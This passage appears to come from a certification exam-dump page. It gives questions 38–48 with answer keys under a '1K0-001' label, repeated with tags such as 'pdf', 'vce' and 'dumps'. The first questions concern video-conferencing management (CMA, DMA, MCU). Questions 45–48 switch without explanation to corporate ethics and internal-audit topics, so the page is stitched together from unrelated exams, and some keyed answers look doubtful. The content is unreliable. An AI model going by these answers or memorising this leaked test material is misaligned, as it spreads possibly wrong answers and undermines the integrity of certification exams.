B. Meeting Room
C. Conference Profile
D. Entry Queue
1K0-001 pdf Correct Answer: D
QUESTION 38
You are attempting to schedule a multipoint conference using the CMA, but receive an error message stating ‘Insufficient MCU resources’. Select the two best troubleshooting options
A. Check that the MCU is available for scheduling
B. Reboot the server
C. Check the MCU for errors
D. Reboot the MCU
Correct Answer: AC
QUESTION 39
The Resource Manager or Converged Management Application (CMA) Site Statistics report is what?
A. configurable
B. exportable
C. able to show sites not configured in the Resource Manager
 D. real-time only
1K0-001 vce Correct Answer: D
QUESTION 40
When configuring a user’s Virtualization Manager (DMA) conference room, you can only use the default pool and pool orders
A. TRUE
B. FALSE
Correct Answer: B
QUESTION 41
You are trying to log into a CMA using an Active Directory account but the login is failing; select the two options which could be the issue:
A. No role associated with your User account
B. The Computer account password is incorrect
C. Your User account does not have administrative privileges
D. The User account is not contained within the Enterprise Directory Search BaseDN
1K0-001 exam Correct Answer: AD
QUESTION 42
A customer would like her employees to use video from home without the cost of a VPN. Which VBP should the customer buy?
A. ST-series
B. E-series
Correct Answer: A
QUESTION 43
You have three MCUs connected to a Virtualization Manager (DMA) but calls only seem to land on two of them. Select two things you could do to troubleshoot this:
A. Check if any MCU has been taken out of service
B. Reboot the server
C. Check if any MCU has any alerts or errors
D. Check the endpoint logs
1K0-001 dumps Correct Answer: AC
QUESTION 44
Your customer has asked if they should perform the CMA integration on their new Virtualization Manager (DMA), as they aren’t sure what it does. How do you explain it?
A. The CMA integration allows the DMA to control the CMA site topology
B. The CMA integration allows the DMA to view and use the CMA site topology
C. The CMA integration allows the DMA to share Active Directory integration
D. There is no need to perform the CMA integration
Correct Answer: B
 QUESTION 45
Company A has a formal comprehensive corporate code of ethics while company B does not. Which of the following statements regarding the existence of the code of ethics in company A can be logically inferred?
I. Company A exhibits a higher standard of ethical behavior than does company B.
II. Company A has established objective criteria by which an employee’s actions can be evaluated.
III. The absence of a formal corporate code of ethics in company B would prevent a successful audit of ethical behavior in that company.
A. II only
B. III only
C. I and II only
D. II and III only
1K0-001 pdf Correct Answer: A
QUESTION 46
Which of the following files, when compared with billing records, would provide the best source of information for determining if all goods shipped are billed to customers?
A. Pre-numbered customer invoices.
B. Accounts receivable transactions.
C. Pre-numbered shipping documents.
D. Customer purchase orders.
Correct Answer: C
QUESTION 47
Which of the following is the best problem-solving technique to use when analyzing performance and cost?
A. Value analysis.
B. Attribute listing.
C. Brainstorming.
D. Component analysis.
1K0-001 vce Correct Answer: A
QUESTION 48
In order to effectively elicit sensitive information from an employee during an audit engagement, an auditor should:
A. Tell the employee a piece of information obtained from a coworker in a previous interview.
B. Put sensitive questions at the beginning of a questionnaire to ensure that they are answered.
C. Explain that the auditor’s reputation for integrity, which is vital to the auditor’s business success, would be seriously damaged if confidentiality were breached.
D. Point out that management has given the auditor full authority to conduct this interview.
Correct Answer: C

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